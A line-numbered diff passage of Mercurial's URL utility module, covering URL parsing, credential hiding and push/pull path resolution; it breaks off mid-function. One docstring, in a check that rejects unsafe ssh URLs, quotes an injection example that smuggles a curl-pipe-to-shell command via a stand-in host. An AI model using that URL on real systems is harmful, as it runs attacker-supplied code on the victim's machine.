3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27
27
28 if pycompat.TYPE_CHECKING:
28 if pycompat.TYPE_CHECKING:
29 from typing import (
29 from typing import (
30 Union,
30 Union,
31 )
31 )
32
32
33 urlreq = urllibcompat.urlreq
33 urlreq = urllibcompat.urlreq
34
34
35
35
36 def getport(port):
36 def getport(port):
37 # type: (Union[bytes, int]) -> int
37 # type: (Union[bytes, int]) -> int
38 """Return the port for a given network service.
38 """Return the port for a given network service.
39
39
40 If port is an integer, it's returned as is. If it's a string, it's
40 If port is an integer, it's returned as is. If it's a string, it's
41 looked up using socket.getservbyname(). If there's no matching
41 looked up using socket.getservbyname(). If there's no matching
42 service, error.Abort is raised.
42 service, error.Abort is raised.
43 """
43 """
44 try:
44 try:
45 return int(port)
45 return int(port)
46 except ValueError:
46 except ValueError:
47 pass
47 pass
48
48
49 try:
49 try:
50 return socket.getservbyname(pycompat.sysstr(port))
50 return socket.getservbyname(pycompat.sysstr(port))
51 except socket.error:
51 except socket.error:
52 raise error.Abort(
52 raise error.Abort(
53 _(b"no port number associated with service '%s'") % port
53 _(b"no port number associated with service '%s'") % port
54 )
54 )
55
55
56
56
57 class url(object):
57 class url(object):
58 r"""Reliable URL parser.
58 r"""Reliable URL parser.
59
59
60 This parses URLs and provides attributes for the following
60 This parses URLs and provides attributes for the following
61 components:
61 components:
62
62
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64
64
65 Missing components are set to None. The only exception is
65 Missing components are set to None. The only exception is
66 fragment, which is set to '' if present but empty.
66 fragment, which is set to '' if present but empty.
67
67
68 If parsefragment is False, fragment is included in query. If
68 If parsefragment is False, fragment is included in query. If
69 parsequery is False, query is included in path. If both are
69 parsequery is False, query is included in path. If both are
70 False, both fragment and query are included in path.
70 False, both fragment and query are included in path.
71
71
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73
73
74 Note that for backward compatibility reasons, bundle URLs do not
74 Note that for backward compatibility reasons, bundle URLs do not
75 take host names. That means 'bundle://../' has a path of '../'.
75 take host names. That means 'bundle://../' has a path of '../'.
76
76
77 Examples:
77 Examples:
78
78
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 >>> url(b'file:///home/joe/repo')
83 >>> url(b'file:///home/joe/repo')
84 <url scheme: 'file', path: '/home/joe/repo'>
84 <url scheme: 'file', path: '/home/joe/repo'>
85 >>> url(b'file:///c:/temp/foo/')
85 >>> url(b'file:///c:/temp/foo/')
86 <url scheme: 'file', path: 'c:/temp/foo/'>
86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 >>> url(b'bundle:foo')
87 >>> url(b'bundle:foo')
88 <url scheme: 'bundle', path: 'foo'>
88 <url scheme: 'bundle', path: 'foo'>
89 >>> url(b'bundle://../foo')
89 >>> url(b'bundle://../foo')
90 <url scheme: 'bundle', path: '../foo'>
90 <url scheme: 'bundle', path: '../foo'>
91 >>> url(br'c:\foo\bar')
91 >>> url(br'c:\foo\bar')
92 <url path: 'c:\\foo\\bar'>
92 <url path: 'c:\\foo\\bar'>
93 >>> url(br'\\blah\blah\blah')
93 >>> url(br'\\blah\blah\blah')
94 <url path: '\\\\blah\\blah\\blah'>
94 <url path: '\\\\blah\\blah\\blah'>
95 >>> url(br'\\blah\blah\blah#baz')
95 >>> url(br'\\blah\blah\blah#baz')
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 >>> url(br'file:///C:\users\me')
97 >>> url(br'file:///C:\users\me')
98 <url scheme: 'file', path: 'C:\\users\\me'>
98 <url scheme: 'file', path: 'C:\\users\\me'>
99
99
100 Authentication credentials:
100 Authentication credentials:
101
101
102 >>> url(b'ssh://joe:xyz@x/repo')
102 >>> url(b'ssh://joe:xyz@x/repo')
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 >>> url(b'ssh://joe@x/repo')
104 >>> url(b'ssh://joe@x/repo')
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106
106
107 Query strings and fragments:
107 Query strings and fragments:
108
108
109 >>> url(b'http://host/a?b#c')
109 >>> url(b'http://host/a?b#c')
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113
113
114 Empty path:
114 Empty path:
115
115
116 >>> url(b'')
116 >>> url(b'')
117 <url path: ''>
117 <url path: ''>
118 >>> url(b'#a')
118 >>> url(b'#a')
119 <url path: '', fragment: 'a'>
119 <url path: '', fragment: 'a'>
120 >>> url(b'http://host/')
120 >>> url(b'http://host/')
121 <url scheme: 'http', host: 'host', path: ''>
121 <url scheme: 'http', host: 'host', path: ''>
122 >>> url(b'http://host/#a')
122 >>> url(b'http://host/#a')
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124
124
125 Only scheme:
125 Only scheme:
126
126
127 >>> url(b'http:')
127 >>> url(b'http:')
128 <url scheme: 'http'>
128 <url scheme: 'http'>
129 """
129 """
130
130
131 _safechars = b"!~*'()+"
131 _safechars = b"!~*'()+"
132 _safepchars = b"/!~*'()+:\\"
132 _safepchars = b"/!~*'()+:\\"
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134
134
135 def __init__(self, path, parsequery=True, parsefragment=True):
135 def __init__(self, path, parsequery=True, parsefragment=True):
136 # type: (bytes, bool, bool) -> None
136 # type: (bytes, bool, bool) -> None
137 # We slowly chomp away at path until we have only the path left
137 # We slowly chomp away at path until we have only the path left
138 self.scheme = self.user = self.passwd = self.host = None
138 self.scheme = self.user = self.passwd = self.host = None
139 self.port = self.path = self.query = self.fragment = None
139 self.port = self.path = self.query = self.fragment = None
140 self._localpath = True
140 self._localpath = True
141 self._hostport = b''
141 self._hostport = b''
142 self._origpath = path
142 self._origpath = path
143
143
144 if parsefragment and b'#' in path:
144 if parsefragment and b'#' in path:
145 path, self.fragment = path.split(b'#', 1)
145 path, self.fragment = path.split(b'#', 1)
146
146
147 # special case for Windows drive letters and UNC paths
147 # special case for Windows drive letters and UNC paths
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 self.path = path
149 self.path = path
150 return
150 return
151
151
152 # For compatibility reasons, we can't handle bundle paths as
152 # For compatibility reasons, we can't handle bundle paths as
153 # normal URLS
153 # normal URLS
154 if path.startswith(b'bundle:'):
154 if path.startswith(b'bundle:'):
155 self.scheme = b'bundle'
155 self.scheme = b'bundle'
156 path = path[7:]
156 path = path[7:]
157 if path.startswith(b'//'):
157 if path.startswith(b'//'):
158 path = path[2:]
158 path = path[2:]
159 self.path = path
159 self.path = path
160 return
160 return
161
161
162 if self._matchscheme(path):
162 if self._matchscheme(path):
163 parts = path.split(b':', 1)
163 parts = path.split(b':', 1)
164 if parts[0]:
164 if parts[0]:
165 self.scheme, path = parts
165 self.scheme, path = parts
166 self._localpath = False
166 self._localpath = False
167
167
168 if not path:
168 if not path:
169 path = None
169 path = None
170 if self._localpath:
170 if self._localpath:
171 self.path = b''
171 self.path = b''
172 return
172 return
173 else:
173 else:
174 if self._localpath:
174 if self._localpath:
175 self.path = path
175 self.path = path
176 return
176 return
177
177
178 if parsequery and b'?' in path:
178 if parsequery and b'?' in path:
179 path, self.query = path.split(b'?', 1)
179 path, self.query = path.split(b'?', 1)
180 if not path:
180 if not path:
181 path = None
181 path = None
182 if not self.query:
182 if not self.query:
183 self.query = None
183 self.query = None
184
184
185 # // is required to specify a host/authority
185 # // is required to specify a host/authority
186 if path and path.startswith(b'//'):
186 if path and path.startswith(b'//'):
187 parts = path[2:].split(b'/', 1)
187 parts = path[2:].split(b'/', 1)
188 if len(parts) > 1:
188 if len(parts) > 1:
189 self.host, path = parts
189 self.host, path = parts
190 else:
190 else:
191 self.host = parts[0]
191 self.host = parts[0]
192 path = None
192 path = None
193 if not self.host:
193 if not self.host:
194 self.host = None
194 self.host = None
195 # path of file:///d is /d
195 # path of file:///d is /d
196 # path of file:///d:/ is d:/, not /d:/
196 # path of file:///d:/ is d:/, not /d:/
197 if path and not hasdriveletter(path):
197 if path and not hasdriveletter(path):
198 path = b'/' + path
198 path = b'/' + path
199
199
200 if self.host and b'@' in self.host:
200 if self.host and b'@' in self.host:
201 self.user, self.host = self.host.rsplit(b'@', 1)
201 self.user, self.host = self.host.rsplit(b'@', 1)
202 if b':' in self.user:
202 if b':' in self.user:
203 self.user, self.passwd = self.user.split(b':', 1)
203 self.user, self.passwd = self.user.split(b':', 1)
204 if not self.host:
204 if not self.host:
205 self.host = None
205 self.host = None
206
206
207 # Don't split on colons in IPv6 addresses without ports
207 # Don't split on colons in IPv6 addresses without ports
208 if (
208 if (
209 self.host
209 self.host
210 and b':' in self.host
210 and b':' in self.host
211 and not (
211 and not (
212 self.host.startswith(b'[') and self.host.endswith(b']')
212 self.host.startswith(b'[') and self.host.endswith(b']')
213 )
213 )
214 ):
214 ):
215 self._hostport = self.host
215 self._hostport = self.host
216 self.host, self.port = self.host.rsplit(b':', 1)
216 self.host, self.port = self.host.rsplit(b':', 1)
217 if not self.host:
217 if not self.host:
218 self.host = None
218 self.host = None
219
219
220 if (
220 if (
221 self.host
221 self.host
222 and self.scheme == b'file'
222 and self.scheme == b'file'
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 ):
224 ):
225 raise error.Abort(
225 raise error.Abort(
226 _(b'file:// URLs can only refer to localhost')
226 _(b'file:// URLs can only refer to localhost')
227 )
227 )
228
228
229 self.path = path
229 self.path = path
230
230
231 # leave the query string escaped
231 # leave the query string escaped
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 v = getattr(self, a)
233 v = getattr(self, a)
234 if v is not None:
234 if v is not None:
235 setattr(self, a, urlreq.unquote(v))
235 setattr(self, a, urlreq.unquote(v))
236
236
237 def copy(self):
237 def copy(self):
238 u = url(b'temporary useless value')
238 u = url(b'temporary useless value')
239 u.path = self.path
239 u.path = self.path
240 u.scheme = self.scheme
240 u.scheme = self.scheme
241 u.user = self.user
241 u.user = self.user
242 u.passwd = self.passwd
242 u.passwd = self.passwd
243 u.host = self.host
243 u.host = self.host
244 u.path = self.path
244 u.path = self.path
245 u.query = self.query
245 u.query = self.query
246 u.fragment = self.fragment
246 u.fragment = self.fragment
247 u._localpath = self._localpath
247 u._localpath = self._localpath
248 u._hostport = self._hostport
248 u._hostport = self._hostport
249 u._origpath = self._origpath
249 u._origpath = self._origpath
250 return u
250 return u
251
251
252 @encoding.strmethod
252 @encoding.strmethod
253 def __repr__(self):
253 def __repr__(self):
254 attrs = []
254 attrs = []
255 for a in (
255 for a in (
256 b'scheme',
256 b'scheme',
257 b'user',
257 b'user',
258 b'passwd',
258 b'passwd',
259 b'host',
259 b'host',
260 b'port',
260 b'port',
261 b'path',
261 b'path',
262 b'query',
262 b'query',
263 b'fragment',
263 b'fragment',
264 ):
264 ):
265 v = getattr(self, a)
265 v = getattr(self, a)
266 if v is not None:
266 if v is not None:
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 return b'<url %s>' % b', '.join(attrs)
268 return b'<url %s>' % b', '.join(attrs)
269
269
270 def __bytes__(self):
270 def __bytes__(self):
271 r"""Join the URL's components back into a URL string.
271 r"""Join the URL's components back into a URL string.
272
272
273 Examples:
273 Examples:
274
274
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 'http://user:pw@host:80/?foo=bar&baz=42'
278 'http://user:pw@host:80/?foo=bar&baz=42'
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 'http://user:pw@host:80/?foo=bar%3dbaz'
280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 'ssh://user:pw@[::1]:2200//home/joe#'
282 'ssh://user:pw@[::1]:2200//home/joe#'
283 >>> bytes(url(b'http://localhost:80//'))
283 >>> bytes(url(b'http://localhost:80//'))
284 'http://localhost:80//'
284 'http://localhost:80//'
285 >>> bytes(url(b'http://localhost:80/'))
285 >>> bytes(url(b'http://localhost:80/'))
286 'http://localhost:80/'
286 'http://localhost:80/'
287 >>> bytes(url(b'http://localhost:80'))
287 >>> bytes(url(b'http://localhost:80'))
288 'http://localhost:80/'
288 'http://localhost:80/'
289 >>> bytes(url(b'bundle:foo'))
289 >>> bytes(url(b'bundle:foo'))
290 'bundle:foo'
290 'bundle:foo'
291 >>> bytes(url(b'bundle://../foo'))
291 >>> bytes(url(b'bundle://../foo'))
292 'bundle:../foo'
292 'bundle:../foo'
293 >>> bytes(url(b'path'))
293 >>> bytes(url(b'path'))
294 'path'
294 'path'
295 >>> bytes(url(b'file:///tmp/foo/bar'))
295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 'file:///tmp/foo/bar'
296 'file:///tmp/foo/bar'
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 'file:///c:/tmp/foo/bar'
298 'file:///c:/tmp/foo/bar'
299 >>> print(url(br'bundle:foo\bar'))
299 >>> print(url(br'bundle:foo\bar'))
300 bundle:foo\bar
300 bundle:foo\bar
301 >>> print(url(br'file:///D:\data\hg'))
301 >>> print(url(br'file:///D:\data\hg'))
302 file:///D:\data\hg
302 file:///D:\data\hg
303 """
303 """
304 if self._localpath:
304 if self._localpath:
305 s = self.path
305 s = self.path
306 if self.scheme == b'bundle':
306 if self.scheme == b'bundle':
307 s = b'bundle:' + s
307 s = b'bundle:' + s
308 if self.fragment:
308 if self.fragment:
309 s += b'#' + self.fragment
309 s += b'#' + self.fragment
310 return s
310 return s
311
311
312 s = self.scheme + b':'
312 s = self.scheme + b':'
313 if self.user or self.passwd or self.host:
313 if self.user or self.passwd or self.host:
314 s += b'//'
314 s += b'//'
315 elif self.scheme and (
315 elif self.scheme and (
316 not self.path
316 not self.path
317 or self.path.startswith(b'/')
317 or self.path.startswith(b'/')
318 or hasdriveletter(self.path)
318 or hasdriveletter(self.path)
319 ):
319 ):
320 s += b'//'
320 s += b'//'
321 if hasdriveletter(self.path):
321 if hasdriveletter(self.path):
322 s += b'/'
322 s += b'/'
323 if self.user:
323 if self.user:
324 s += urlreq.quote(self.user, safe=self._safechars)
324 s += urlreq.quote(self.user, safe=self._safechars)
325 if self.passwd:
325 if self.passwd:
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 if self.user or self.passwd:
327 if self.user or self.passwd:
328 s += b'@'
328 s += b'@'
329 if self.host:
329 if self.host:
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 s += urlreq.quote(self.host)
331 s += urlreq.quote(self.host)
332 else:
332 else:
333 s += self.host
333 s += self.host
334 if self.port:
334 if self.port:
335 s += b':' + urlreq.quote(self.port)
335 s += b':' + urlreq.quote(self.port)
336 if self.host:
336 if self.host:
337 s += b'/'
337 s += b'/'
338 if self.path:
338 if self.path:
339 # TODO: similar to the query string, we should not unescape the
339 # TODO: similar to the query string, we should not unescape the
340 # path when we store it, the path might contain '%2f' = '/',
340 # path when we store it, the path might contain '%2f' = '/',
341 # which we should *not* escape.
341 # which we should *not* escape.
342 s += urlreq.quote(self.path, safe=self._safepchars)
342 s += urlreq.quote(self.path, safe=self._safepchars)
343 if self.query:
343 if self.query:
344 # we store the query in escaped form.
344 # we store the query in escaped form.
345 s += b'?' + self.query
345 s += b'?' + self.query
346 if self.fragment is not None:
346 if self.fragment is not None:
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 return s
348 return s
349
349
350 __str__ = encoding.strmethod(__bytes__)
350 __str__ = encoding.strmethod(__bytes__)
351
351
352 def authinfo(self):
352 def authinfo(self):
353 user, passwd = self.user, self.passwd
353 user, passwd = self.user, self.passwd
354 try:
354 try:
355 self.user, self.passwd = None, None
355 self.user, self.passwd = None, None
356 s = bytes(self)
356 s = bytes(self)
357 finally:
357 finally:
358 self.user, self.passwd = user, passwd
358 self.user, self.passwd = user, passwd
359 if not self.user:
359 if not self.user:
360 return (s, None)
360 return (s, None)
361 # authinfo[1] is passed to urllib2 password manager, and its
361 # authinfo[1] is passed to urllib2 password manager, and its
362 # URIs must not contain credentials. The host is passed in the
362 # URIs must not contain credentials. The host is passed in the
363 # URIs list because Python < 2.4.3 uses only that to search for
363 # URIs list because Python < 2.4.3 uses only that to search for
364 # a password.
364 # a password.
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366
366
367 def isabs(self):
367 def isabs(self):
368 if self.scheme and self.scheme != b'file':
368 if self.scheme and self.scheme != b'file':
369 return True # remote URL
369 return True # remote URL
370 if hasdriveletter(self.path):
370 if hasdriveletter(self.path):
371 return True # absolute for our purposes - can't be joined()
371 return True # absolute for our purposes - can't be joined()
372 if self.path.startswith(br'\\'):
372 if self.path.startswith(br'\\'):
373 return True # Windows UNC path
373 return True # Windows UNC path
374 if self.path.startswith(b'/'):
374 if self.path.startswith(b'/'):
375 return True # POSIX-style
375 return True # POSIX-style
376 return False
376 return False
377
377
378 def localpath(self):
378 def localpath(self):
379 # type: () -> bytes
379 # type: () -> bytes
380 if self.scheme == b'file' or self.scheme == b'bundle':
380 if self.scheme == b'file' or self.scheme == b'bundle':
381 path = self.path or b'/'
381 path = self.path or b'/'
382 # For Windows, we need to promote hosts containing drive
382 # For Windows, we need to promote hosts containing drive
383 # letters to paths with drive letters.
383 # letters to paths with drive letters.
384 if hasdriveletter(self._hostport):
384 if hasdriveletter(self._hostport):
385 path = self._hostport + b'/' + self.path
385 path = self._hostport + b'/' + self.path
386 elif (
386 elif (
387 self.host is not None and self.path and not hasdriveletter(path)
387 self.host is not None and self.path and not hasdriveletter(path)
388 ):
388 ):
389 path = b'/' + path
389 path = b'/' + path
390 return path
390 return path
391 return self._origpath
391 return self._origpath
392
392
393 def islocal(self):
393 def islocal(self):
394 '''whether localpath will return something that posixfile can open'''
394 '''whether localpath will return something that posixfile can open'''
395 return (
395 return (
396 not self.scheme
396 not self.scheme
397 or self.scheme == b'file'
397 or self.scheme == b'file'
398 or self.scheme == b'bundle'
398 or self.scheme == b'bundle'
399 )
399 )
400
400
401
401
402 def hasscheme(path):
402 def hasscheme(path):
403 # type: (bytes) -> bool
403 # type: (bytes) -> bool
404 return bool(url(path).scheme) # cast to help pytype
404 return bool(url(path).scheme) # cast to help pytype
405
405
406
406
407 def hasdriveletter(path):
407 def hasdriveletter(path):
408 # type: (bytes) -> bool
408 # type: (bytes) -> bool
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410
410
411
411
412 def urllocalpath(path):
412 def urllocalpath(path):
413 # type: (bytes) -> bytes
413 # type: (bytes) -> bytes
414 return url(path, parsequery=False, parsefragment=False).localpath()
414 return url(path, parsequery=False, parsefragment=False).localpath()
415
415
416
416
417 def checksafessh(path):
417 def checksafessh(path):
418 # type: (bytes) -> None
418 # type: (bytes) -> None
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420
420
421 This is a sanity check for ssh urls. ssh will parse the first item as
421 This is a sanity check for ssh urls. ssh will parse the first item as
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 Let's prevent these potentially exploited urls entirely and warn the
423 Let's prevent these potentially exploited urls entirely and warn the
424 user.
424 user.
425
425
426 Raises an error.Abort when the url is unsafe.
426 Raises an error.Abort when the url is unsafe.
427 """
427 """
428 path = urlreq.unquote(path)
428 path = urlreq.unquote(path)
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 raise error.Abort(
430 raise error.Abort(
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 )
432 )
433
433
434
434
435 def hidepassword(u):
435 def hidepassword(u):
436 # type: (bytes) -> bytes
436 # type: (bytes) -> bytes
437 '''hide user credential in a url string'''
437 '''hide user credential in a url string'''
438 u = url(u)
438 u = url(u)
439 if u.passwd:
439 if u.passwd:
440 u.passwd = b'***'
440 u.passwd = b'***'
441 return bytes(u)
441 return bytes(u)
442
442
443
443
444 def removeauth(u):
444 def removeauth(u):
445 # type: (bytes) -> bytes
445 # type: (bytes) -> bytes
446 '''remove all authentication information from a url string'''
446 '''remove all authentication information from a url string'''
447 u = url(u)
447 u = url(u)
448 u.user = u.passwd = None
448 u.user = u.passwd = None
449 return bytes(u)
449 return bytes(u)
450
450
451
451
452 def list_paths(ui, target_path=None):
452 def list_paths(ui, target_path=None):
453 """list all the (name, paths) in the passed ui"""
453 """list all the (name, paths) in the passed ui"""
454 result = []
454 result = []
455 if target_path is None:
455 if target_path is None:
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 for p in paths:
457 for p in paths:
458 result.append((name, p))
458 result.append((name, p))
459
459
460 else:
460 else:
461 for path in ui.paths.get(target_path, []):
461 for path in ui.paths.get(target_path, []):
462 result.append((target_path, path))
462 result.append((target_path, path))
463 return result
463 return result
464
464
465
465
466 def try_path(ui, url):
466 def try_path(ui, url):
467 """try to build a path from a url
467 """try to build a path from a url
468
468
469 Return None if no Path could built.
469 Return None if no Path could built.
470 """
470 """
471 try:
471 try:
472 # we pass the ui instance are warning might need to be issued
472 # we pass the ui instance are warning might need to be issued
473 return path(ui, None, rawloc=url)
473 return path(ui, None, rawloc=url)
474 except ValueError:
474 except ValueError:
475 return None
475 return None
476
476
477
477
478 def get_push_paths(repo, ui, dests):
478 def get_push_paths(repo, ui, dests):
479 """yields all the `path` selected as push destination by `dests`"""
479 """yields all the `path` selected as push destination by `dests`"""
480 if not dests:
480 if not dests:
481 if b'default-push' in ui.paths:
481 if b'default-push' in ui.paths:
482 for p in ui.paths[b'default-push']:
482 for p in ui.paths[b'default-push']:
483 yield p
483 yield p
484 elif b'default' in ui.paths:
484 elif b'default' in ui.paths:
485 for p in ui.paths[b'default']:
485 for p in ui.paths[b'default']:
486 yield p
486 yield p
487 else:
487 else:
488 raise error.ConfigError(
488 raise error.ConfigError(
489 _(b'default repository not configured!'),
489 _(b'default repository not configured!'),
490 hint=_(b"see 'hg help config.paths'"),
490 hint=_(b"see 'hg help config.paths'"),
491 )
491 )
492 else:
492 else:
493 for dest in dests:
493 for dest in dests:
494 if dest in ui.paths:
494 if dest in ui.paths:
495 for p in ui.paths[dest]:
495 for p in ui.paths[dest]:
496 yield p
496 yield p
497 else:
497 else:
498 path = try_path(ui, dest)
498 path = try_path(ui, dest)
499 if path is None:
499 if path is None:
500 msg = _(b'repository %s does not exist')
500 msg = _(b'repository %s does not exist')
501 msg %= dest
501 msg %= dest
502 raise error.RepoError(msg)
502 raise error.RepoError(msg)
503 yield path
503 yield path
504
504
505
505
506 def get_pull_paths(repo, ui, sources, default_branches=()):
506 def get_pull_paths(repo, ui, sources):
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 if not sources:
508 if not sources:
509 sources = [b'default']
509 sources = [b'default']
510 for source in sources:
510 for source in sources:
511 if source in ui.paths:
511 if source in ui.paths:
512 for p in ui.paths[source]:
512 for p in ui.paths[source]:
513 yield parseurl(p.rawloc, default_branches)
513 yield p
514 else:
514 else:
515 p = path(ui, None, source, validate_path=False)
515 p = path(ui, None, source, validate_path=False)
516 yield parseurl(p.rawloc, default_branches)
516 yield p
517
517
518
518
519 def get_unique_push_path(action, repo, ui, dest=None):
519 def get_unique_push_path(action, repo, ui, dest=None):
520 """return a unique `path` or abort if multiple are found
520 """return a unique `path` or abort if multiple are found
521
521
522 This is useful for command and action that does not support multiple
522 This is useful for command and action that does not support multiple
523 destination (yet).
523 destination (yet).
524
524
525 Note that for now, we cannot get multiple destination so this function is "trivial".
525 Note that for now, we cannot get multiple destination so this function is "trivial".
526
526
527 The `action` parameter will be used for the error message.
527 The `action` parameter will be used for the error message.
528 """
528 """
529 if dest is None:
529 if dest is None:
530 dests = []
530 dests = []
531 else:
531 else:
532 dests = [dest]
532 dests = [dest]
533 dests = list(get_push_paths(repo, ui, dests))
533 dests = list(get_push_paths(repo, ui, dests))
534 if len(dests) != 1:
534 if len(dests) != 1:
535 if dest is None:
535 if dest is None:
536 msg = _(
536 msg = _(
537 b"default path points to %d urls while %s only supports one"
537 b"default path points to %d urls while %s only supports one"
538 )
538 )
539 msg %= (len(dests), action)
539 msg %= (len(dests), action)
540 else:
540 else:
541 msg = _(b"path points to %d urls while %s only supports one: %s")
541 msg = _(b"path points to %d urls while %s only supports one: %s")
542 msg %= (len(dests), action, dest)
542 msg %= (len(dests), action, dest)
543 raise error.Abort(msg)
543 raise error.Abort(msg)
544 return dests[0]
544 return dests[0]
545
545
546
546
547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
548 """return a unique `(path, branch)` or abort if multiple are found
548 """return a unique `(path, branch)` or abort if multiple are found
549
549
550 This is useful for command and action that does not support multiple
550 This is useful for command and action that does not support multiple
551 destination (yet).
551 destination (yet).
552
552
553 Note that for now, we cannot get multiple destination so this function is "trivial".
553 Note that for now, we cannot get multiple destination so this function is "trivial".
554
554
555 The `action` parameter will be used for the error message.
555 The `action` parameter will be used for the error message.
556 """
556 """
557 urls = []
557 urls = []
558 if source is None:
558 if source is None:
559 if b'default' in ui.paths:
559 if b'default' in ui.paths:
560 urls.extend(p.rawloc for p in ui.paths[b'default'])
560 urls.extend(p.rawloc for p in ui.paths[b'default'])
561 else:
561 else:
562 # XXX this is the historical default behavior, but that is not
562 # XXX this is the historical default behavior, but that is not
563 # great, consider breaking BC on this.
563 # great, consider breaking BC on this.
564 urls.append(b'default')
564 urls.append(b'default')
565 else:
565 else:
566 if source in ui.paths:
566 if source in ui.paths:
567 urls.extend(p.rawloc for p in ui.paths[source])
567 urls.extend(p.rawloc for p in ui.paths[source])
568 else:
568 else:
569 # Try to resolve as a local path or URI.
569 # Try to resolve as a local path or URI.
570 path = try_path(ui, source)
570 path = try_path(ui, source)
571 if path is not None:
571 if path is not None:
572 urls.append(path.rawloc)
572 urls.append(path.rawloc)
573 else:
573 else:
574 urls.append(source)
574 urls.append(source)
575 if len(urls) != 1:
575 if len(urls) != 1:
576 if source is None:
576 if source is None:
577 msg = _(
577 msg = _(
